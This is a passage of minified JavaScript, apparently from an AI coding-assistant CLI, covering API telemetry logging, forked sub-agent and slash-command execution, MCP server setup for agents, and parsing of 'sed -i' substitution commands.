0,error:D,attempt:H});let f=fR1();if(f?.isTeleported&&!f.hasLoggedFirstMessage)n("tengu_teleport_first_message_error",{session_id:f.sessionId,error_type:M}),NR1()}function Zj2({model:A,preNormalizedModel:K,messageCount:q,messageTokens:Y,usage:z,durationMs:w,durationMsIncludingRetries:H,attempt:J,ttftMs:O,requestId:X,stopReason:$,costUSD:_,didFallBackToNonStreaming:G,querySource:Z,gateway:W,queryTracking:D,permissionMode:j,globalCacheStrategy:M}){let P=b7(),f=process.argv.includes("-p")||process.argv.includes("--print");n("tengu_api_success",{model:A,...K!==A?{preNormalizedModel:K}:{},messageCount:q,messageTokens:Y,inputTokens:z.input_tokens,outputTokens:z.output_tokens,cachedInputTokens:z.cache_read_input_tokens??0,uncachedInputTokens:z.cache_creation_input_tokens??0,durationMs:w,durationMsIncludingRetries:H,attempt:J,ttftMs:O??void 0,buildAgeMins:y7K(),provider:Bb(),requestId:X??void 0,stop_reason:$??void 0,costUSD:_,didFallBackToNonStreaming:G,isNonInteractiveSession:P,print:f,isTTY:process.stdout.isTTY??!1,querySource:Z,...W?{gateway:W}:{},...D?{queryChainId:D.chainId,queryDepth:D.depth}:{},permissionMode:j,...M?{globalCacheStrategy:M}:{},...GI6()})}function h7K({model:A,preNormalizedModel:K,start:q,startIncludingRetries:Y,ttftMs:z,usage:w,attempt:H,messageCount:J,messageTokens:O,requestId:X,stopReason:$,didFallBackToNonStreaming:_,querySource:G,headers:Z,costUSD:W,queryTracking:D,permissionMode:j,newMessages:M,llmSpan:P,globalCacheStrategy:f}){let N=Z?_I6(Z):void 0,T=Date.now()-q,C=Date.now()-Y;on6(C,T),Zj2({model:A,preNormalizedModel:K,messageCount:J,messageTokens:O,usage:w,durationMs:T,durationMsIncludingRetries:C,attempt:H,ttftMs:z,requestId:X,stopReason:$,costUSD:W,didFallBackToNonStreaming:_,querySource:G,gateway:N,queryTracking:D,permissionMode:j,globalCacheStrategy:f}),uG("api_request",{model:A,input_tokens:String(w.input_tokens),output_tokens:String(w.output_tokens),cache_read_tokens:String(w.cache_read_input_tokens),cache_creation_tokens:String(w.cache_creation_input_tokens),cost_usd:String(W),duration_ms:String(T)});let R,x,y;if(V$()&&M)R=M.flatMap((b)=>b.message.content.filter((F)=>F.type==="text").map((F)=>F.text)).join(` `)||void 0,y=M.some((b)=>b.message.content.some((F)=>F.type==="tool_use"));SP6(P,{success:!0,inputTokens:w.input_tokens,outputTokens:w.output_tokens,cacheReadTokens:w.cache_read_input_tokens,cacheCreationTokens:w.cache_creation_input_tokens,attempt:H,modelOutput:R,thinkingOutput:x,hasToolCall:y,ttftMs:z??void 0});let B=fR1();if(B?.isTeleported&&!B.hasLoggedFirstMessage)n("tengu_teleport_first_message_success",{session_id:B.sessionId}),NR1()}var Gj2,lf;var bQA=k(()=>{sN();C1();Z1();IH();l1();ea();Ys();q6();cT();aU();Gj2={litellm:{prefixes:["x-litellm-"]},helicone:{prefixes:["helicone-"]},portkey:{prefixes:["x-portkey-"]},"cloudflare-ai-gateway":{prefixes:["cf-aig-"]}};lf={input_tokens:0,cache_creation_input_tokens:0,cache_read_input_tokens:0,output_tokens:0,server_tool_use:{web_search_requests:0,web_fetch_requests:0},service_tier:"standard",cache_creation:{ephemeral_1h_input_tokens:0,ephemeral_5m_input_tokens:0}}});import{randomUUID as Wj2}from"crypto";function u3A(A){return{systemPrompt:A.systemPrompt,userContext:A.userContext,systemContext:A.systemContext,toolUseContext:A.toolUseContext,forkContextMessages:A.messages}}function Dj2(A,K){if(K.length===0)return A;return async()=>{let q=await A();return{...q,toolPermissionContext:{...q.toolPermissionContext,alwaysAllowRules:{...q.toolPermissionContext.alwaysAllowRules,command:[...new Set([...q.toolPermissionContext.alwaysAllowRules.command||[],...K])]}}}}}async function kP1(A,K,q){let z=(await A.getPromptForCommand(K,q)).map((_)=>_.type==="text"?_.text:"").join(` `),w=sQ(A.allowedTools??[]),H=Dj2(q.getAppState,w),J=A.agent??"general-purpose",O=q.options.agentDefinitions.activeAgents,X=O.find((_)=>_.agentType===J)??O.find((_)=>_.agentType==="general-purpose");if(!X)throw Error("No agent available for forked execution");let $=[t1({content:z})];return{skillContent:z,modifiedGetAppState:H,baseAgent:X,promptMessages:$}}function CP1(A,K="Execution completed"){let q=rf(A);if(!q)return K;return q.message.content.filter((z)=>z.type==="text").map((z)=>("text"in z)?z.text:"").join(` `)||K}function xQA(A,K){let q=K?.abortController??(K?.shareAbortController?A.abortController:L1A(A.abortController)),Y=K?.getAppState?K.getAppState:K?.shareAbortController?A.getAppState:async()=>{let z=await A.getAppState();if(z.toolPermissionContext.shouldAvoidPermissionPrompts)return z;return{...z,toolPermissionContext:{...z.toolPermissionContext,shouldAvoidPermissionPrompts:!0}}};return{readFileState:v7A(K?.readFileState??A.readFileState),nestedMemoryAttachmentTriggers:new Set,dynamicSkillDirTriggers:new Set,toolDecisions:void 0,abortController:q,getAppState:Y,setAppState:K?.shareSetAppState?A.setAppState:()=>{},setMessages:()=>{},setInProgressToolUseIDs:()=>{},setResponseLength:K?.shareSetResponseLength?A.setResponseLength:()=>{},updateFileHistoryState:()=>{},updateAttributionState:()=>{},addNotification:void 0,setToolJSX:void 0,setStreamMode:void 0,setSDKStatus:void 0,openMessageSelector:void 0,options:K?.options??A.options,messages:K?.messages??A.messages,agentId:K?.agentId??HL(),queryTracking:{chainId:Wj2(),depth:(A.queryTracking?.depth??-1)+1},fileReadingLimits:A.fileReadingLimits,userModified:A.userModified,criticalSystemReminder_EXPERIMENTAL:K?.criticalSystemReminder_EXPERIMENTAL,requireCanUseTool:K?.requireCanUseTool}}async function bS({promptMessages:A,cacheSafeParams:K,canUseTool:q,querySource:Y,forkLabel:z,overrides:w,maxOutputTokens:H,maxTurns:J,onMessage:O}){let X=Date.now(),$=[],_={...lf},{systemPrompt:G,userContext:Z,systemContext:W,toolUseContext:D,forkContextMessages:j}=K,M=xQA(D,w),P=[...ZI6(j),...A],f=HL(z);await wMA(P,f).catch((C)=>h(`Forked agent [${z}] failed to record initial transcript: ${C}`));let N=P.length>0?P[P.length-1].uuid:null;for await(let C of nf({messages:P,systemPrompt:G,userContext:Z,systemContext:W,canUseTool:q,toolUseContext:M,querySource:Y,maxOutputTokensOverride:H,maxTurns:J})){if(C.type==="stream_event"){if("event"in C&&C.event?.type==="message_delta"&&C.event.usage){let x=g3A({...lf},C.event.usage);_=LP1(_,x)}continue}if(C.type==="stream_request_start")continue;h(`Forked agent [${z}] received message: type=${C.type}`),$.push(C),O?.(C);let R=C;if(R.type==="assistant"||R.type==="user"||R.type==="progress")await wMA([R],f,N).catch((x)=>h(`Forked agent [${z}] failed to record transcript: ${x}`)),N=R.uuid}h(`Forked agent [${z}] finished: ${$.length} messages, types=[${$.map((C)=>C.type).join(", ")}], totalUsage: input=${_.input_tokens} output=${_.output_tokens} cacheRead=${_.cache_read_input_tokens} cacheCreate=${_.cache_creation_input_tokens}`);let T=Date.now()-X;return jj2({forkLabel:z,querySource:Y,durationMs:T,messageCount:$.length,totalUsage:_,queryTracking:D.queryTracking}),{messages:$,totalUsage:_}}function jj2({forkLabel:A,querySource:K,durationMs:q,messageCount:Y,totalUsage:z,queryTracking:w}){let H=z.input_tokens+z.cache_creation_input_tokens+z.cache_read_input_tokens,J=H>0?z.cache_read_input_tokens/H:0;n("tengu_fork_agent_query",{forkLabel:A,querySource:K,durationMs:q,messageCount:Y,inputTokens:z.input_tokens,outputTokens:z.output_tokens,cacheReadInputTokens:z.cache_read_input_tokens,cacheCreationInputTokens:z.cache_creation_input_tokens,serviceTier:z.service_tier,cacheCreationEphemeral1hTokens:z.cache_creation.ephemeral_1h_input_tokens,cacheCreationEphemeral5mTokens:z.cache_creation.ephemeral_5m_input_tokens,cacheHitRate:J,...w?{queryChainId:w.chainId,queryDepth:w.depth}:{}})}var eB=k(()=>{m3A();sz();bQA();l1();B3A();Z1();UK();hD();OS();Jz();$8();Qr()});function RP1(A){let q=M1().skillUsage?.[A],Y=Date.now(),z=(q?.usageCount??0)+1;if(!q||q.usageCount!==z||q.lastUsedAt!==Y)D6((w)=>({...w,skillUsage:{...w.skillUsage,[A]:{usageCount:z,lastUsedAt:Y}}}))}function yP1(A){let q=M1().skillUsage?.[A];if(!q)return 0;let Y=(Date.now()-q.lastUsedAt)/86400000,z=Math.pow(0.5,Y/7);return q.usageCount*Math.max(z,0.1)}var IP1=k(()=>{i6()});import{randomUUID as Mj2}from"crypto";async function Pj2(A,K,q,Y,z,w){let H=HL();n("tengu_slash_command_forked",{command_name:A.name});let{skillContent:J,modifiedGetAppState:O,baseAgent:X,promptMessages:$}=await kP1(A,K,q),_=[],G=[];h(`Executing forked slash command /${A.name} with agent ${X.agentType}`);let Z=[],W=`forked-command-${A.name}`,D=0,j=(N)=>{return D++,{type:"progress",data:{message:N,normalizedMessages:G,type:"agent_progress",prompt:J,agentId:H},parentToolUseID:W,toolUseID:`${W}-${D}`,timestamp:new Date().toISOString(),uuid:Mj2()}},M=()=>{z({jsx:zMA(Z,{tools:q.options.tools,verbose:!1}),shouldHidePromptInput:!1,shouldContinueAnimation:!0,showSpinner:!0})};M();try{for await(let N of DL({agentDefinition:X,promptMessages:$,toolUseContext:{...q,getAppState:O},canUseTool:w,isAsync:!1,querySource:"agent:custom",model:A.model,availableTools:q.options.tools})){_.push(N);let T=n2([N]);if(G.push(...T),N.type==="assistant"){let C=lJ1(N);if(C>0)q.setResponseLength((x)=>x+C);let R=T[0];if(R&&R.type==="assistant")Z.push(j(N)),M()}if(N.type==="user"){let C=T[0];if(C&&C.type==="user")Z.push(j(C)),M()}}}finally{z(null)}let P=CP1(_,"Command completed");return h(`Forked slash command /${A.name} completed with agent ${H}`),{messages:[t1({content:XP({inputString:`/${A.userFacingName()} ${K}`.trim(),precedingInputBlocks:Y})}),t1({content:`<local-command-stdout> ${P} </local-command-stdout>`})],shouldQuery:!1,command:A,resultText:P}}function Vj2(A){return!/[^a-zA-Z0-9:\-_]/.test(A)}async function x7K(A,K,q,Y,z,w,H,J,O,X){let $=R7K(A);if(!$){n("tengu_input_slash_missing",{});let x="Commands are in the form `/command [args]`";return{messages:[kW(),...Y,t1({content:XP({inputString:x,precedingInputBlocks:K})})],shouldQuery:!1,resultText:x}}let{commandName:_,args:G,isMcp:Z}=$,W=Z?"mcp":!mt().has(_)?"custom":_;if(!Cd(_,z.options.commands)){let x=BA().existsSync(`/${_}`);if(Vj2(_)&&!x){n("tengu_input_slash_invalid",{input:_});let y=`Unknown skill: ${_}`;return{messages:[kW(),...Y,t1({content:XP({inputString:y,precedingInputBlocks:K})})],shouldQuery:!1,resultText:y}}return n("tengu_input_prompt",{}),uG("user_prompt",{prompt_length:String(A.length),prompt:r_1(A)}),{messages:[t1({content:XP({inputString:A,precedingInputBlocks:K}),uuid:J}),...Y],shouldQuery:!0}}w(!0),l7("slash-commands");let{messages:D,shouldQuery:j,allowedTools:M,maxThinkingTokens:P,model:f,command:N,resultText:T}=await fj2(_,G,H,z,K,q,O,X);if(D.length===0){let x={input:W};if(N.type==="prompt"&&N.pluginInfo){let{pluginManifest:y,repository:B}=N.pluginInfo;if(x.plugin_repository=B,x.plugin_name=y.name,y.version)x.plugin_version=y.version}return n("tengu_input_command",x),{messages:[],shouldQuery:!1,maxThinkingTokens:P,model:f}}if(D.length===2&&D[1].type==="user"&&typeof D[1].message.content==="string"&&D[1].message.content.startsWith("Unknown command:")){if(!(A.startsWith("/var")||A.startsWith("/tmp")||A.startsWith("/private")))n("tengu_input_slash_invalid",{input:_});return{messages:[kW(),...D],shouldQuery:j,allowedTools:M,maxThinkingTokens:P,model:f}}let C={input:W};if(N.type==="prompt"&&N.pluginInfo){let{pluginManifest:x,repository:y}=N.pluginInfo;if(C.plugin_repository=y,C.plugin_name=x.name,x.version)C.plugin_version=x.version}n("tengu_input_command",C);let R=D.length>0&&D[0]&&jL(D[0]);return{messages:j||D.every(m7K)||R?D:[kW(),...D],shouldQuery:j,allowedTools:M,maxThinkingTokens:P,model:f,resultText:T}}async function fj2(A,K,q,Y,z,w,H,J){let O=xS(A,Y.options.commands);if(O.type==="prompt"&&O.userInvocable!==!1)RP1(A);if(O.userInvocable===!1)return{messages:[t1({content:XP({inputString:`/${A}`,precedingInputBlocks:z})}),t1({content:`This skill can only be invoked by Claude, not directly by users. Ask Claude to use the "${A}" skill for you.`})],shouldQuery:!1,command:O};try{switch(O.type){case"local-jsx":return new Promise((X)=>{O.call(($,_)=>{if(_?.display==="skip"){X({messages:[],shouldQuery:!1,command:O});return}X({messages:_?.display==="system"?[WI6(uQA(O,K)),WI6(`<local-command-stdout>${$}</local-command-stdout>`)]:[t1({content:XP({inputString:uQA(O,K),precedingInputBlocks:z})}),$?t1({content:`<local-command-stdout>${$}</local-command-stdout>`}):t1({content:`<local-command-stdout>${wf}</local-command-stdout>`})],shouldQuery:_?.shouldQuery??!1,command:O})},Y,K).then(($)=>{if(Y.options.isNonInteractiveSession){X({messages:[],shouldQuery:!1,command:O});return}q({jsx:$,shouldHidePromptInput:!0,showSpinner:!1,isLocalJSXCommand:!0})})});case"local":{let X=t1({content:XP({inputString:uQA(O,K),precedingInputBlocks:z})});try{let $=kW(),_=await O.call(K,Y);if(_.type==="skip")return{messages:[],shouldQuery:!1,command:O};if(_.type==="compact"){let G=[$,X,..._.displayText?[t1({content:`<local-command-stdout>${_.displayText}</local-command-stdout>`,timestamp:new Date(Date.now()+100).toISOString()})]:[]],Z={..._.compactionResult,messagesToKeep:[..._.compactionResult.messagesToKeep??[],...G]};return{messages:Bt(Z),shouldQuery:!1,command:O}}if(_.type==="microcompact"){let G=[$,X];if(_.microcompactResult.compactionInfo?.boundaryMessage)G.push(_.microcompactResult.compactionInfo.boundaryMessage);return{messages:G,shouldQuery:!1,command:O}}return{messages:[X,t1({content:`<local-command-stdout>${_.value}</local-command-stdout>`})],shouldQuery:!1,command:O}}catch($){return KA($),{messages:[X,t1({content:`<local-command-stderr>${String($)}</local-command-stderr>`})],shouldQuery:!1,command:O}}}case"prompt":try{if(O.context==="fork")return await Pj2(O,K,Y,z,q,J??V_);return await B7K(O,K,Y,z,w)}catch(X){if(X instanceof y2)return{messages:[t1({content:XP({inputString:uQA(O,K),precedingInputBlocks:z})}),t1({content:ut})],shouldQuery:!1,command:O};return{messages:[t1({content:XP({inputString:uQA(O,K),precedingInputBlocks:z})}),t1({content:`<local-command-stderr>${String(X)}</local-command-stderr>`})],shouldQuery:!1,command:O}}}}catch(X){if(X instanceof qb)return{messages:[t1({content:XP({inputString:X.message,precedingInputBlocks:z})})],shouldQuery:!1,command:O};throw X}}function uQA(A,K){return`<${hN}>/${A.userFacingName()}</${hN}> <${tW}>${A.userFacingName()}</${tW}> <command-args>${K}</command-args>`}function DI6(A,K="loading"){return[`<${tW}>${A}</${tW}>`,`<${hN}>${A}</${hN}>`,"<skill-format>true</skill-format>"].join(` `)}function b7K(A,K){return[`<${tW}>${A}</${tW}>`,`<${hN}>/${A}</${hN}>`,K?`<command-args>${K}</command-args>`:null].filter(Boolean).join(` `)}function Nj2(A,K){if(A.userInvocable!==!1)return b7K(A.userFacingName(),K);if(A.loadedFrom==="skills"||A.loadedFrom==="plugin")return DI6(A.userFacingName(),A.progressMessage);return b7K(A.userFacingName(),K)}async function u7K(A,K,q,Y,z=[]){if(!Cd(A,q))throw new qb(`Unknown command: ${A}`);let w=xS(A,q);if(w.type!=="prompt")throw Error(`Unexpected ${w.type} command. Expected 'prompt' command. Use /${A} directly in the main conversation.`);return B7K(w,K,Y,[],z)}async function B7K(A,K,q,Y=[],z=[]){let w=await A.getPromptForCommand(K,q);if(A.hooks){let Z=d1();EP1(q.setAppState,Z,A.hooks,A.name,A.type==="prompt"?A.skillRoot:void 0)}let H=Nj2(A,K);h(`Metadata string for ${A.userFacingName()}:`),h(` ${H.substring(0,200)}`);let J=(H.match(/<command-message>/g)||[]).length;h(` command-message tags in metadata: ${J}`);let O=sQ(A.allowedTools??[]),X=z.length>0||Y.length>0?[...z,...Y,...w]:w,$=dp([t1({content:X})],void 0),_=await OG1(HMA(w.filter((Z)=>Z.type==="text").map((Z)=>Z.text).join(" "),q,null,[],q.messages,"repl_main_thread")),G=[t1({content:H}),t1({content:X,isMeta:!0}),..._,PK({type:"command_permissions",allowedTools:O,model:A.model})];return h(`processPromptSlashCommand creating ${G.length} messages for ${A.userFacingName()}`),G.forEach((Z,W)=>{if(Z.type==="user"&&"message"in Z){let D=typeof Z.message.content==="string"?Z.message.content:UA(Z.message.content),j="isMeta"in Z&&Z.isMeta?" [META]":"",M=D.substring(0,200);h(` Message ${W+1}${j}: ${M}`)}else if(Z.type==="attachment")h(` Message ${W+1}: [ATTACHMENT]`)}),{messages:G,shouldQuery:!0,allowedTools:O,maxThinkingTokens:$,model:A.model,command:A}}var SP1=k(()=>{vP1();l1();$8();X0();e6();ea();cT();C1();Z1();iw();Qr();zs();sD();cp();g2();b1();wz();q6();$I6();B3A();S2();OS();eB();oZ();PDA();YK();IP1();St()});import{randomUUID as Tj2}from"crypto";async function vj2(A,K){if(!A.mcpServers?.length)return{clients:K,tools:[],cleanup:async()=>{}};let q=[],Y=[],z=[];for(let H of A.mcpServers){let J=null,O,X=!1;if(typeof H==="string"){if(O=H,J=BI(H),!J){h(`[Agent: ${A.agentType}] MCP server not found: ${H}`,{level:"warn"});continue}}else{let _=Object.entries(H);if(_.length!==1){h(`[Agent: ${A.agentType}] Invalid MCP server spec: expected exactly one key`,{level:"warn"});continue}let[G,Z]=_[0];O=G,J={...Z,scope:"dynamic"},X=!0}let $=await cC(O,J);if(q.push($),X)Y.push($);if($.type==="connected"){let _=await QI($);z.push(..._),h(`[Agent: ${A.agentType}] Connected to MCP server '${O}' with ${_.length} tools`)}else h(`[Agent: ${A.agentType}] Failed to connect to MCP server '${O}': ${$.type}`,{level:"warn"})}let w=async()=>{for(let H of Y)if(H.type==="connected")try{await H.cleanup()}catch(J){h(`[Agent: ${A.agentType}] Error cleaning up MCP server '${H.name}': ${J}`,{level:"warn"})}};return{clients:[...K,...q],tools:z,cleanup:w}}function Ej2(A){return A.type==="assistant"||A.type==="user"||A.type==="progress"||A.type==="system"&&"subtype"in A&&A.subtype==="compact_boundary"}async function*DL({agentDefinition:A,promptMessages:K,toolUseContext:q,canUseTool:Y,isAsync:z,canShowPermissionPrompts:w,forkContextMessages:H,querySource:J,override:O,model:X,maxTurns:$,availableTools:_,allowedTools:G}){l7("subagents");let Z=await q.getAppState(),W=Z.toolPermissionContext.mode,D=Bq1(A.model,q.options.mainLoopModel,X,W),j=O?.agentId?O.agentId:HL();if(hp()){let a=q.agentId??d1();e_1(j,A.agentType,a)}let P=[...H?ZI6(H):[],...K],f=H!==void 0?v7A(q.readFileState):zU(T7A),[N,T]=await Promise.all([O?.userContext??AX(),O?.systemContext??e0()]),C=A.permissionMode,R=async()=>{let a=await q.getAppState(),JA=a.toolPermissionContext;if(C&&a.toolPermissionContext.mode!=="bypassPermissions"&&a.toolPermissionContext.mode!=="acceptEdits")JA={...JA,mode:C};if(JA.mode==="coordinator")JA={...JA,mode:C??"acceptEdits"};let jA=w!==void 0?!w:z;if(jA)JA={...JA,shouldAvoidPermissionPrompts:!0};if(z&&!jA)JA={...JA,awaitAutomatedChecksBeforeDialog:!0};if(G!==void 0)JA={...JA,alwaysAllowRules:{session:[...G]}};return{...a,toolPermissionContext:JA,queuedCommands:[]}},y=Us(A,_,z).resolvedTools,B=Array.from(Z.toolPermissionContext.additionalWorkingDirectories.keys()),b=O?.systemPrompt?O.systemPrompt:await kj2(A,q,D,B),F=[],Q=O?.abortController?O.abortController:z?new AbortController:q.abortController,u=[];for await(let a of jI6(j,A.agentType,Q.signal))if(a.additionalContexts&&a.additionalContexts.length>0)u.push(...a.additionalContexts);if(u.length>0){let a=PK({type:"hook_additional_context",content:u,hookName:"SubagentStart",toolUseID:Tj2(),hookEvent:"SubagentStart"});P.push(a)}if(A.hooks)py7(q.setAppState,j,A.hooks,`agent '${A.agentType}'`,!0);let d=A.skills??[];if(d.length>0){let a=await lC(sW()),JA=[];for(let jA of d){if(!Cd(jA,a)){h(`[Agent: ${A.agentType}] Warning: Skill '${jA}' specified in frontmatter was not found`,{level:"warn"});continue}let MA=xS(jA,a);if(MA.type!=="prompt"){h(`[Agent: ${A.agentType}] Warning: Skill '${jA}' is not a prompt-based skill`,{level:"warn"});continue}JA.push({skillName:jA,skill:MA})}for(let{skillName:jA,skill:MA}of JA){let hA=await MA.getPromptForCommand("",q);h(`[Agent: ${A.agentType}] Preloaded skill '${jA}'`);let yA=DI6(jA,MA.progressMessage);P.push(t1({content:[{type:"text",text:yA},...hA]}))}}let{clients:r,tools:c,cleanup:YA}=await vj2(A,q.options.mcpClients),e=[...y,...c],qA={isNonInteractiveSession:z?!0:q.options.isNonInteractiveSession??!1,appendSystemPrompt:q.options.appendSystemPrompt,tools:e,commands:[],debug:q.options.debug,verbose:q.options.verbose,mainLoopModel:D,maxThinkingTokens:dp(P),mcpClients:r,mcpResources:q.options.mcpResources,agentDefinitions:q.options.agentDefinitions},HA=xQA(q,{options:qA,agentId:j,messages:P,readFileState:f,abortController:Q,getAppState:R,shareSetAppState:!z,shareSetResponseLength:!0,criticalSystemReminder_EXPERIMENTAL:A.criticalSystemReminder_EXPERIMENTAL});await wMA(P,j).catch((a)=>h(`Failed to record sidechain transcript: ${a}`));let _A=P.length>0?P[P.length-1].uuid:null;try{for await(let a of nf({messages:P,systemPrompt:b,userContext:N,systemContext:T,canUseTool:Y,toolUseContext:HA,querySource:J,maxTurns:$??A.maxTurns})){if(a.type==="attachment"){if(a.attachment.type==="max_turns_reached"){h(`[Agent : $ { agentDefinition.agentType } ] Reached max turns limit ($ { message.attachment.maxTurns } )`);break}yield a;continue}if(Ej2(a))F.push(a),await wMA([a],j,_A).catch((JA)=>h(`Failed to record sidechain transcript: ${JA}`)),_A=a.uuid,yield a}if(Q.signal.aborted)throw new y2;if(UD(A)&&A.callback)A.callback()}finally{if(await YA(),A.hooks)fWA(q.setAppState,j)}}function ZI6(A){let K=new Set;for(let q of A)if(q?.type==="user"){let z=q.message.content;if(Array.isArray(z)){for(let w of z)if(w.type==="tool_result"&&w.tool_use_id)K.add(w.tool_use_id)}}return A.filter((q)=>{if(q?.type==="assistant"){let z=q.message.content;if(Array.isArray(z))return!z.some((H)=>H.type==="tool_use"&&H.id&&!K.has(H.id))}return!0})}async function kj2(A,K,q,Y){try{let w=[A.getSystemPrompt({toolUseContext:K})];return await BQA(w,q,Y)}catch(z){return await BQA([g7K],q,Y)}}var B3A=k(()=>{m3A();iw();OS();YC();of();K7();cp();E5A();kC();hD();JP();dy7();yp();sD();UK();Z1();PDA();YK();X0();q6();$8();SP1();eB();g2();Vf();iM();WmA();q6()});function F7K(A,K){if(K)return A?`agent:builtin:${A}`:"agent:default";else return"agent:custom"}function hP1(){let K=J8()?.outputStyle??nG;if(K===nG)return"repl_main_thread";return K in F3A?`repl_main_thread:outputStyle:${K}`:"repl_main_thread:outputStyle:custom"}var MI6=k(()=>{I8();Am()});function bP1(A){let K=s(28),{output:q,fullOutput:Y,elapsedTimeSeconds:z,totalLines:w,timeoutMs:H,verbose:J}=A,O;if(K[0]!==Y)O=AH(Y.trim()),K[0]=Y,K[1]=O;else O=K[1];let X=O,$,_;if(K[2]!==q||K[3]!==X||K[4]!==J)$=AH(q.trim()).split(` `).filter(Cj2),_=J?X:$.slice(-5).join(` `),K[2]=q,K[3]=X,K[4]=J,K[5]=$,K[6]=_;else $=K[5],_=K[6];let G=_,Z=J?0:w?Math.max(0,w-5):0;if(!$.length){let T;if(K[7]===Symbol.for("react.memo_cache_sentinel"))T=uS.default.createElement(V,{dimColor:!0},"Running… "),K[7]=T;else T=K[7];let C;if(K[8]!==z||K[9]!==H)C=uS.default.createElement(k6,null,T,uS.default.createElement(VQA,{elapsedTimeSeconds:z,timeoutMs:H})),K[8]=z,K[9]=H,K[10]=C;else C=K[10];return C}let W=J?void 0:Math.min(5,$.length),D;if(K[11]!==G)D=uS.default.createElement(V,{dimColor:!0},G),K[11]=G,K[12]=D;else D=K[12];let j;if(K[13]!==W||K[14]!==D)j=uS.default.createElement(S,{height:W,flexDirection:"column",overflow:"hidden"},D),K[13]=W,K[14]=D,K[15]=j;else j=K[15];let M;if(K[16]!==Z||K[17]!==J)M=!J&&Z>0&&uS.default.createElement(V,{dimColor:!0},Z>0&&`+${Z} more line${Z===1?"":"s"}`),K[16]=Z,K[17]=J,K[18]=M;else M=K[18];let P;if(K[19]!==z||K[20]!==H)P=uS.default.createElement(VQA,{elapsedTimeSeconds:z,timeoutMs:H}),K[19]=z,K[20]=H,K[21]=P;else P=K[21];let f;if(K[22]!==M||K[23]!==P)f=uS.default.createElement(S,{flexDirection:"row",gap:1},M,P),K[22]=M,K[23]=P,K[24]=f;else f=K[24];let N;if(K[25]!==j||K[26]!==f)N=uS.default.createElement(k6,null,uS.default.createElement(S,{flexDirection:"column"},j,f)),K[25]=j,K[26]=f,K[27]=N;else N=K[27];return N}function Cj2(A){return A}var uS;var PI6=k(()=>{cA();mA();bk();Eq();Sy6();uS=o($A(),1)});import{randomBytes as Lj2}from"crypto";function JMA(A){let K=A.trim(),q=K.match(/^\s*sed\s+/);if(!q)return null;let Y=K.slice(q[0].length),z=Bz(Y);if(!z.success)return null;let w=z.tokens,H=[];for(let N of w)if(typeof N==="string")H.push(N);else if(typeof N==="object"&&N!==null&&"op"in N&&N.op==="glob")return null;let J=!1,O=!1,X=null,$=null,_=0;while(_<H.length){let N=H[_];if(N==="-i"||N==="--in-place"){if(J=!0,_++,_<H.length){let T=H[_];if(typeof T==="string"&&!T.startsWith("-")&&(T===""||T.startsWith(".")))_++}continue}if(N.startsWith("-i")){J=!0,_++;continue}if(N==="-E"||N==="-r"||N==="--regexp-extended"){O=!0,_++;continue}if(N==="-e"||N==="--expression"){if(_+1<H.length&&typeof H[_+1]==="string"){if(X!==null)return null;X=H[_+1],_+=2;continue}return null}if(N.startsWith("--expression=")){if(X!==null)return null;X=N.slice(13),_++;continue}if(N.startsWith("-"))return null;if(X===null)X=N;else if($===null)$=N;else return null;_++}if(!J||!X||!$)return null;if(!X.match(/^s\//))return null;let Z=X.slice(2),W="",D="",j="",M="pattern",P=0;while(P<Z.length){let N=Z[P];if(N==="\\"&&P+1<Z.length){if(M==="pattern")W+=N+Z[P+1];else if(M==="replacement")D+=N+Z[P+1];else j+=N+Z[P+1];P+=2;continue}if(N==="/"){if(M==="pattern")M="replacement";else if(M==="replacement")M="flags";else return null;P++;continue}if(M==="pattern")W+=N;else if(M==="replacement")D+=N;else j+=N;P++}if(M!=="flags")return null;if(!/^[gpimIM1-9]*$/.test(j))return null;return{filePath:$,pattern:W,replacement:D,flags:j,extendedRegex:O}}function Q7K(A,K){let q="";if(K.flags.includes("g"))q+="g";if(K.flags.includes("i")||K.flags.includes("I"))q+="i";if(K.flags.includes("m")||K.flags.includes("M"))q+="m";let Y=K.pattern.replace(/\\\//g,"/");if(!K.extendedRegex)Y=Y.replace(/\\\\/g,"\x00BACKSLASH\x00").replace(/\\\+/g,"\x00PLUS\x00").replace(/\\\?/g,"\x00QUESTION\x00").replace(/\\\|/g,"\x00PIPE\x00").replace(/\\\(/g,"\x00LPAREN\x00").replace(/\\\)/g,"\x00RPAREN\x00").replace(/\+/g,"\\+").replace(/\?/g,"\\?").replace(/\|/g,"\\|").replace(/\(/g,"\\(").replace(/\)/g,"\\)").replace(new RegExp("\x00BACKSLASH\x00","g"),"\\\\").replace(new RegExp("\x00PLUS\x00","g"),"+").replace(new RegExp("\x00QUESTION\x00","g"),"?").replace(new RegExp("\x00PIPE\x00","g"),"|").replace(new RegExp("\x00LPAREN\x00","g"),"(").replace(new RegExp("\x00RPAREN\x00","g"),")");let w=`___ESCAPED_AMPERSAND_${Lj2(8).toString("hex")}___`,H=K.replacement.replace(/\\\//g,"/").replace(/\\&/g,w).replace(/&/g,"$$&").replace(new RegExp(w,"g"),"&");try{let J=new RegExp(Y,q);return A.replace(J,H)}catch{return A}}var mQA=k(()=>{gO()});function xP1(A){let K=s(9),q;if(K[0]!==A)q=A===void 0?{}:A,K[0]=A,K[1]=q;else q=K[1];let{onBackground:Y}=q,z=D0(),w=p4(),H;if(K[2]!==Y||K[3]!==w||K[4]!==z)H=()=>{y_1(()=>z.getState(),w),Y?.()},K[2]=Y,K[3]=w,K[4]=z,K[5]=H;else H=K[5];let J=H,O;if(K[6]===Symbol.for("react.memo_cache_sentinel"))O={context:"Task"},K[6]=O;else O=K[6];J6("task:background",J,O);let X=cK("task:background","Task","ctrl+b"),$=m6.terminal==="tmux"&&X==="ctrl+b"?"ctrl+b ctrl+b (twice)":X;if(P1(process.env.CLAUDE_CODE_DISABLE_BACKGROUND_TASKS))return null;let _;if(K[7]!==$)_=oH.createElement(S,{paddingLeft:5},oH.createElement(V,{dimColor:!0},oH.createElement(M6,{shortcut:$,action:"run in background"}))),K[7]=$,K[8]=_;else _=K[8];return _}function p7K(A,{verbose:K,theme:q}){let{command:Y}=A;if(!Y)return null;let z=JMA(Y);if(z)return K?z.filePath:Z5(z.filePath);let w=Y;if(Y.includes(`"$(cat <<'EOF'`)){let H=Y.match(/^(.*?)"?\$\(cat <<'EOF'\n([\s\S]*?)\n\s*EOF\n\s*\)"(.*)$/);if(H&&H[1]&&H[2]){let J=H[1],O=H[2],X=H[3]||"";w=`${J.trim()} "${O.trim()}"${X.trim()}`}}if(!K){let H=w.split(` `),J=H.length>U7K,O=w.length>VI6;if(J||O){let X=w;if(J)X=H.slice(0,U7K).join(` `);if(X.length>VI6)X=X.slice(0,VI6);return oH.createElement(V,null,X.trim(),"…")}}return 